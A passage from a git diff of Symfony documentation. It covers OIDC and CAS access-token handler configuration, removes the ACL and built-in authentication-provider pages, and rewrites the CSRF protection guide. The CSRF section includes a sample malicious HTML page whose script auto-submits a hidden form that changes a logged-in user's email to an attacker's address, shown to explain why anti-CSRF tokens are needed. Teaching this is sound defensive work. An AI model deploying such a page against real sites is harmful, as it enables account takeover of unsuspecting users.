name="main"> + <access-token> + <token-handler> + <oidc-user-info base-uri="https://www.example.com/realms/demo/"> + <discovery cache="cache.app"/> + </oidc-user-info> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->oidcUserInfo() + ->baseUri('https://www.example.com/realms/demo/') + ->discovery() + ->cache('cache.app') + ; + }; + +.. versionadded:: 7.3 + + Support for OpenID Connect Discovery was introduced in Symfony 7.3. + +Following the `OpenID Connect Specification`_, the ``sub`` claim is used as user +identifier by default. To use another claim, specify it on the configuration: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + oidc_user_info: + claim: email + base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <oidc-user-info claim="email" base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->oidcUserInfo() + ->claim('email') + ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo') + ; + }; + +The ``oidc_user_info`` token handler automatically creates an HTTP client with +the specified ``base_uri``. If you prefer using your own client, you can +specify the service name via the ``client`` option: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + oidc_user_info: + client: oidc.client + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <oidc-user-info client="oidc.client"/> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->oidcUserInfo() + ->client('oidc.client') + ; + }; + +By default, the ``OidcUserInfoTokenHandler`` creates an ``OidcUser`` with the +claims. To create your own user object from the claims, you must +:doc:`create your own UserProvider </security/user_providers>`:: + + // src/Security/Core/User/OidcUserProvider.php + use Symfony\Component\Security\Core\User\AttributesBasedUserProviderInterface; + + class OidcUserProvider implements AttributesBasedUserProviderInterface + { + public function loadUserByIdentifier(string $identifier, array $attributes = []): UserInterface + { + // implement your own logic to load and return the user object + } + } + +2) Configure the OidcTokenHandler +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The ``OidcTokenHandler`` requires the ``web-token/jwt-library`` package. +If you haven't installed it yet, run this command: + +.. code-block:: terminal + + $ composer require web-token/jwt-library + +Symfony provides a generic ``OidcTokenHandler`` that decodes the token, validates +it, and retrieves the user information from it. Optionally, the token can be encrypted (JWE): + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + oidc: + # Algorithms used to sign the JWS + algorithms: ['ES256', 'RS256'] + # A JSON-encoded JWK + keyset: '{"keys":[{"kty":"...","k":"..."}]}' + # Audience (`aud` claim): required for validation purpose + audience: 'api-example' + # Issuers (`iss` claim): required for validation purpose + issuers: ['https://oidc.example.com'] + encryption: + enabled: true # Default to false + enforce: false # Default to false, requires an encrypted token when true + algorithms: ['ECDH-ES', 'A128GCM'] + keyset: '{"keys": [...]}' # Encryption private keyset + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <!-- Algorithm used to sign the JWS --> + <!-- A JSON-encoded JWK --> + <!-- Audience (`aud` claim): required for validation purpose --> + <oidc keyset="{'keys':[{'kty':'...','k':'...'}]}" audience="api-example"> + <!-- Issuers (`iss` claim): required for validation purpose --> + <algorithm>ES256</algorithm> + <algorithm>RS256</algorithm> + <issuer>https://oidc.example.com</issuer> + <encryption enabled="true" enforce="true" keyset="{'keys': [...]}"> + <algorithm>ECDH-ES</algorithm> + <algorithm>A128GCM</algorithm> + </encryption> + </oidc> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->oidc() + // Algorithm used to sign the JWS + ->algorithms(['ES256', 'RS256']) + // A JSON-encoded JWKSet (public keys) + ->keyset('{"keys":[{"kty":"...","k":"..."}]}') + // Audience (`aud` claim): required for validation purpose + ->audience('api-example') + // Issuers (`iss` claim): required for validation purpose + ->issuers(['https://oidc.example.com']) + ->encryption() + ->enabled(true) //Default to false + ->enforce(false) //Default to false, requires an encrypted token when true + // Algorithm used to decrypt the JWE + ->algorithms(['ECDH-ES', 'A128GCM']) + // A JSON-encoded JWKSet (private keys) + ->keyset('{"keys":[...]}') + + ; + }; + +.. versionadded:: 7.1 + + The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1. + In previous versions, only the ``ES256`` algorithm was supported. + +.. versionadded:: 7.3 + + Support for encryption algorithms to decrypt JWEs was introduced in Symfony 7.3. + +To enable `OpenID Connect Discovery`_, the ``OidcTokenHandler`` requires the +``symfony/cache`` package to store the OIDC configuration in the cache. If you +haven't installed it yet, run the following command: + +.. code-block:: terminal + + $ composer require symfony/cache + +Then, you can remove the ``keyset`` configuration option (it will be imported +from the OpenID Connect Discovery), and configure the ``discovery`` option: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + oidc: + claim: email + algorithms: ['ES256', 'RS256'] + audience: 'api-example' + issuers: ['https://oidc.example.com'] + discovery: + base_uri: https://www.example.com/realms/demo/ + cache: cache.app + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <oidc claim="email" audience="api-example"> + <algorithm>ES256</algorithm> + <algorithm>RS256</algorithm> + <issuer>https://oidc.example.com</issuer> + <discovery base-uri="https://www.example.com/realms/demo/" cache="cache.app"> + </oidc> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->oidc() + ->claim('email') + ->algorithms(['ES256', 'RS256']) + ->audience('api-example') + ->issuers(['https://oidc.example.com']) + ->discovery() + ->baseUri('https://www.example.com/realms/demo/') + ->cache('cache.app') + ; + }; + +Following the `OpenID Connect Specification`_, the ``sub`` claim is used by +default as user identifier. To use another claim, specify it on the +configuration: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + oidc: + claim: email + algorithms: ['ES256', 'RS256'] + keyset: '{"keys":[{"kty":"...","k":"..."}]}' + audience: 'api-example' + issuers: ['https://oidc.example.com'] + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <oidc claim="email" keyset="{'keys':[{'kty':'...','k':'...'}]}" audience="api-example"> + <algorithm>ES256</algorithm> + <algorithm>RS256</algorithm> + <issuer>https://oidc.example.com</issuer> + </oidc> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->oidc() + ->claim('email') + ->algorithms(['ES256', 'RS256']) + ->keyset('{"keys":[{"kty":"...","k":"..."}]}') + ->audience('api-example') + ->issuers(['https://oidc.example.com']) + ; + }; + +By default, the ``OidcTokenHandler`` creates an ``OidcUser`` with the claims. To +create your own User from the claims, you must +:doc:`create your own UserProvider </security/user_providers>`:: + + // src/Security/Core/User/OidcUserProvider.php + use Symfony\Component\Security\Core\User\AttributesBasedUserProviderInterface; + + class OidcUserProvider implements AttributesBasedUserProviderInterface + { + public function loadUserByIdentifier(string $identifier, array $attributes = []): UserInterface + { + // implement your own logic to load and return the user object + } + } + +Using CAS 2.0 +------------- + +.. versionadded:: 7.1 + + The support for CAS token handlers was introduced in Symfony 7.1. + +`Central Authentication Service (CAS)`_ is an enterprise multilingual single +sign-on solution and identity provider for the web and attempts to be a +comprehensive platform for your authentication and authorization needs. + +Configure the Cas2Handler +~~~~~~~~~~~~~~~~~~~~~~~~~ + +Symfony provides a generic ``Cas2Handler`` to call your CAS server. It requires +the ``symfony/http-client`` package to make the needed HTTP requests. If you +haven't installed it yet, run this command: + +.. code-block:: terminal + + $ composer require symfony/http-client + +You can configure a ``cas`` token handler as follows: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + cas: + validation_url: https://www.example.com/cas/validate + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <cas validation-url="https://www.example.com/cas/validate"/> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->cas() + ->validationUrl('https://www.example.com/cas/validate') + ; + }; + +The ``cas`` token handler automatically creates an HTTP client to call +the specified ``validation_url``. If you prefer using your own client, you can +specify the service name via the ``http_client`` option: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + cas: + validation_url: https://www.example.com/cas/validate + http_client: cas.client + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <cas validation-url="https://www.example.com/cas/validate" http-client="cas.client"/> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->cas() + ->validationUrl('https://www.example.com/cas/validate') + ->httpClient('cas.client') + ; + }; + +By default the token handler will read the validation URL XML response with + ``cas`` prefix but you can configure another prefix: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + cas: + validation_url: https://www.example.com/cas/validate + prefix: cas-example + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <cas validation-url="https://www.example.com/cas/validate" prefix="cas-example"/> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->cas() + ->validationUrl('https://www.example.com/cas/validate') + ->prefix('cas-example') + ; + }; + +Creating Users from Token +------------------------- + +Some types of tokens (for instance OIDC) contain all information required +to create a user entity (e.g. username and roles). In this case, you don't +need a user provider to create a user from the database:: + + // src/Security/AccessTokenHandler.php + namespace App\Security; + + // ... + class AccessTokenHandler implements AccessTokenHandlerInterface + { + // ... + + public function getUserBadgeFrom(string $accessToken): UserBadge + { + // get the data from the token + $payload = ...; + + return new UserBadge( + $payload->getUserId(), + fn (string $userIdentifier) => new User($userIdentifier, $payload->getRoles()) + ); + } + } + +When using this strategy, you can omit the ``user_provider`` configuration +for :ref:`stateless firewalls <reference-security-stateless>`. + +.. _`Central Authentication Service (CAS)`: https://en.wikipedia.org/wiki/Central_Authentication_Service +.. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519 +.. _`OpenID Connect (OIDC)`: https://en.wikipedia.org/wiki/OpenID#OpenID_Connect_(OIDC) +.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html +.. _`OpenID Connect Discovery`: https://openid.net/specs/openid-connect-discovery-1_0.html +.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750 +.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html diff --git a/security/acl.rst b/security/acl.rst deleted file mode 100644 index ffbf16c7c27..00000000000 --- a/security/acl.rst +++ /dev/null @@ -1,15 +0,0 @@ -.. index:: - single: Security; Access Control Lists (ACLs) - -How to Use Access Control Lists (ACLs) -====================================== - -.. caution:: - - ACL support was removed in Symfony 4.0. Install the `Symfony ACL bundle`_ - and refer to its documentation if you want to keep using ACL. - - Consider using :doc:`security voters </security/voters>`, - the alternative to ACLs recommended by Symfony. - -.. _`Symfony ACL bundle`: https://github.com/symfony/acl-bundle diff --git a/security/auth_providers.rst b/security/auth_providers.rst deleted file mode 100644 index 349f16a219a..00000000000 --- a/security/auth_providers.rst +++ /dev/null @@ -1,241 +0,0 @@ -Built-in Authentication Providers -================================= - -If you need to add authentication to your app, we recommend using -:doc:`Guard authentication </security/guard_authentication>` because it gives you -full control over the process. - -But, Symfony also offers a number of built-in authentication providers: systems -that are easier to implement, but harder to customize. If your authentication -use-case matches one of these exactly, they're a great option: - -.. toctree:: - :hidden: - - form_login - json_login_setup - -* :doc:`form_login </security/form_login>` -* :ref:`http_basic <security-http_basic>` -* :doc:`LDAP via HTTP Basic or Form Login </security/ldap>` -* :doc:`json_login </security/json_login_setup>` -* :ref:`X.509 Client Certificate Authentication (x509) <security-x509>` -* :ref:`REMOTE_USER Based Authentication (remote_user) <security-remote_user>` - -.. _security-http_basic: - -HTTP Basic Authentication -------------------------- - -`HTTP Basic authentication`_ asks credentials (username and password) using a dialog -in the browser. The credentials are sent without any hashing or encryption, so -it's recommended to use it with HTTPS. - -To support HTTP Basic authentication, add the ``http_basic`` key to your firewall: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - main: - # ... - http_basic: - realm: Secured Area - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - - <firewall name="main"> - <http-basic realm="Secured Area"/> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - - 'firewalls' => [ - 'main' => [ - 'http_basic' => [ - 'realm' => 'Secured Area', - ], - ], - ], - ]); - -That's it! Symfony will now be listening for any HTTP basic authentication data. -To load user information, it will use your configured :doc:`user provider </security/user_provider>`. - -Note: you cannot use the :ref:`log out <security-logging-out>` with ``http_basic``. -Even if you log out, your browser "remembers" your credentials and will send them -on every request. - -.. _security-x509: - -X.509 Client Certificate Authentication ---------------------------------------- - -When using client certificates, your web server is doing all the authentication -process itself. With Apache, for example, you would use the -``SSLVerifyClient Require`` directive. - -Enable the x509 authentication for a particular firewall in the security configuration: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - main: - # ... - x509: - provider: your_user_provider - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - - <firewall name="main"> - <!-- ... --> - <x509 provider="your_user_provider"/> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - - 'firewalls' => [ - 'main' => [ - // ... - 'x509' => [ - 'provider' => 'your_user_provider', - ], - ], - ], - ]); - -By default, the firewall provides the ``SSL_CLIENT_S_DN_Email`` variable to -the user provider, and sets the ``SSL_CLIENT_S_DN`` as credentials in the -:class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\PreAuthenticatedToken`. -You can override these by setting the ``user`` and the ``credentials`` keys -in the x509 firewall configuration respectively. - -.. _security-pre-authenticated-user-provider-note: - -.. note:: - - An authentication provider will only inform the user provider of the username - that made the request. You will need to create (or use) a "user provider" that - is referenced by the ``provider`` configuration parameter (``your_user_provider`` - in the configuration example). This provider will turn the username into a User - object of your choice. For more information on creating or configuring a user - provider, see: - - * :doc:`/security/user_provider` - -.. _security-remote_user: - -REMOTE_USER Based Authentication --------------------------------- - -A lot of authentication modules, like ``auth_kerb`` for Apache, provide the username -using the ``REMOTE_USER`` environment variable. This variable can be trusted by -the application since the authentication happened before the request reached it. - -To configure Symfony using the ``REMOTE_USER`` environment variable, enable the -corresponding firewall in your security configuration: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - firewalls: - main: - # ... - remote_user: - provider: your_user_provider - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" ?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <firewall name="main"> - <remote-user provider="your_user_provider"/> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'remote_user' => [ - 'provider' => 'your_user_provider', - ], - ], - ], - ]); - -The firewall will then provide the ``REMOTE_USER`` environment variable to -your user provider. You can change the variable name used by setting the ``user`` -key in the ``remote_user`` firewall configuration. - -.. note:: - - Just like for X509 authentication, you will need to configure a "user provider". - See :ref:`the previous note <security-pre-authenticated-user-provider-note>` - for more information. - -.. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication diff --git a/security/csrf.rst b/security/csrf.rst index 9e87c4da495..8797b4e7553 100644 --- a/security/csrf.rst +++ b/security/csrf.rst @@ -1,18 +1,48 @@ -.. index:: - single: CSRF; CSRF protection - How to Implement CSRF Protection ================================ -CSRF - or `Cross-site request forgery`_ - is a method by which a malicious -user attempts to make your legitimate users unknowingly submit data that -they don't intend to submit. +CSRF, or `Cross-site request forgery`_, is a type of attack where a malicious actor +tricks a user into performing actions on a web application without their knowledge +or consent. + +The attack is based on the trust that a web application has in a user's browser +(e.g. on session cookies). Here's a real example of a CSRF attack: a malicious +actor could create the following website: + +.. code-block:: html + + <html> + <body> + <form action="https://example.com/settings/update-email" method="POST"> + <input type="hidden" name="email" value="malicious-actor-address@some-domain.com"/> + </form> + <script> + document.forms[0].submit(); + </script> + + <!-- some content here to distract the user --> + </body> + </html> -CSRF protection works by adding a hidden field to your form that contains a -value that only you and your user know. This ensures that the user - not some -other entity - is submitting the given data. +If you visit this website (e.g. by clicking on some email link or some social +network post) and you were already logged in on the ``https://example.com`` site, +the malicious actor could change the email address associated to your account +(effectively taking over your account) without you even being aware of it. -Before using the CSRF protection, install it in your project: +An effective way of preventing CSRF attacks is to use anti-CSRF tokens. These are +unique tokens added to forms as hidden fields. The legit server validates them to +ensure that the request originated from the expected source and not some other +malicious website. + +Anti-CSRF tokens can be managed in two ways: using a **stateful** approach, +where tokens are stored in the session and are unique per user and action; or a +**stateless** approach, where tokens are generated on the client side. + +Installation +------------ + +Symfony provides all the needed features to generate and validate the anti-CSRF +tokens. Before using them, install this package in your project: .. code-block:: terminal @@ -51,37 +81,96 @@ for more information): .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'csrf_protection' => null, - ]); + use Symfony\Config\FrameworkConfig; -The tokens used for CSRF protection are meant to be different for every user and -they are stored in the session. That's why a session is started automatically as -soon as you render a form with CSRF protection. + return static function (FrameworkConfig $framework): void { + $framework->csrfProtection() + ->enabled(true) + ; + }; + +By default, the tokens used for CSRF protection are stored in the session. +That's why a session is started automatically as soon as you render a form +with CSRF protection. .. _caching-pages-that-contain-csrf-protected-forms: -Moreover, this means that you cannot fully cache pages that include CSRF -protected forms. As an alternative, you can: +This leads to many strategies to help with caching pages that include CSRF +protected forms, among them: * Embed the form inside an uncached :doc:`ESI fragment </http_cache/esi>` and cache the rest of the page contents; * Cache the entire page and load the form via an uncached AJAX request; -* Cache the entire page and use :doc:`hinclude.js </templating/hinclude>` to +* Cache the entire page and use :ref:`hinclude.js <templates-hinclude>` to load the CSRF token with an uncached AJAX request and replace the form field value with it. +The most effective way to cache pages that need CSRF protected forms is to use +:ref:`stateless CSRF tokens <csrf-stateless-tokens>`, as explained below. + +.. _csrf-protection-forms: + CSRF Protection in Symfony Forms -------------------------------- -Forms created with the Symfony Form component include CSRF tokens by default -and Symfony checks them automatically, so you don't have to do anything to be -protected against CSRF attacks. +:doc:`Symfony Forms </forms>` include CSRF tokens by default and Symfony also +checks them automatically for you. So, when using Symfony Forms, you don't have +to do anything to be protected against CSRF attacks. .. _form-csrf-customization: -By default Symfony adds the CSRF token in a hidden field called ``_token``, but -this can be customized on a form-by-form basis:: +By default Symfony adds the CSRF token in a hidden field called ``_csrf_token``, but +this can be customized (1) globally for all forms and (2) on a form-by-form basis. +Globally, you can configure it under the ``framework.form`` option: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + # ... + form: + csrf_protection: + enabled: true + field_name: 'custom_token_name' + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:form> + <framework:csrf-protection enabled="true" field-name="custom_token_name"/> + </framework:form> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework) { + $framework->form()->csrfProtection() + ->enabled(true) + ->fieldName('custom_token_name') + ; + }; + +On a form-by-form basis, you can configure the CSRF protection in the ``setDefaults()`` +method of each form:: + + // src/Form/TaskType.php + namespace App\Form; // ... use App\Entity\Task; @@ -91,7 +180,7 @@ this can be customized on a form-by-form basis:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => Task::class, @@ -101,6 +190,7 @@ this can be customized on a form-by-form basis:: 'csrf_field_name' => '_token', // an arbitrary string used to generate the value of the token // using a different string for each form improves its security + // when using stateful tokens (which is the default) 'csrf_token_id' => 'task_item', ]); } @@ -108,17 +198,20 @@ this can be customized on a form-by-form basis:: // ... } -You can also customize the rendering of the CSRF form field creating a custom +You can also customize the rendering of the CSRF form field by creating a custom :doc:`form theme </form/form_themes>` and using ``csrf_token`` as the prefix of the field (e.g. define ``{% block csrf_token_widget %} ... {% endblock %}`` to customize the entire form field contents). -CSRF Protection in Login Forms ------------------------------- +.. _csrf-protection-in-login-forms: + +CSRF Protection in Login Form and Logout Action +----------------------------------------------- -See :doc:`/security/form_login_setup` for a login form that is protected from -CSRF attacks. You can also configure the -:ref:`CSRF protection for the logout action <reference-security-logout-csrf>`. +Read the following: + +* :ref:`CSRF Protection in Login Forms <form_login-csrf>`; +* :ref:`CSRF protection for the logout action <reference-security-logout-csrf>`. .. _csrf-protection-in-html-forms: @@ -136,22 +229,23 @@ generate a CSRF token in the template and store it as a hidden form field: .. code-block:: html+twig <form action="{{ url('admin_post_delete', { id: post.id }) }}" method="post"> - {# the argument of csrf_token() is an arbitrary string used to generate the token #} - <input type="hidden" name="token" value="{{ csrf_token('delete-item') }}"/> + {# the argument of csrf_token() is the ID of this token #} + <input type="hidden" name="token" value="{{ csrf_token('delete-item') }}"> <button type="submit">Delete item</button> </form> Then, get the value of the CSRF token in the controller action and use the :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::isCsrfTokenValid` -to check its validity:: +method to check its validity, passing the same token ID used in the template:: use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; // ... - public function delete(Request $request) + public function delete(Request $request): Response { - $submittedToken = $request->request->get('token'); + $submittedToken = $request->getPayload()->get('token'); // 'delete-item' is the same value used in the template to generate the token if ($this->isCsrfTokenValid('delete-item', $submittedToken)) { @@ -159,4 +253,257 @@ to check its validity:: } } +.. _csrf-controller-attributes: + +Alternatively you can use the +:class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid` +attribute on the controller action:: + + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; + // ... + + #[IsCsrfTokenValid('delete-item', tokenKey: 'token')] + public function delete(): Response + { + // ... do something, like deleting an object + } + +Suppose you want a CSRF token per item, so in the template you have something like the following: + +.. code-block:: html+twig + + <form action="{{ url('admin_post_delete', { id: post.id }) }}" method="post"> + {# the argument of csrf_token() is a dynamic id string used to generate the token #} + <input type="hidden" name="token" value="{{ csrf_token('delete-item-' ~ post.id) }}"> + + <button type="submit">Delete item</button> + </form> + +This attribute can also be applied to a controller class. When used this way, +the CSRF token validation will be applied to **all actions** defined in that +controller:: + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; + // ... + + #[IsCsrfTokenValid('the token ID')] + final class SomeController extends AbstractController + { + // ... + } + +The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid` +attribute also accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` +object evaluated to the id:: + + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; + // ... + + #[IsCsrfTokenValid(new Expression('"delete-item-" ~ 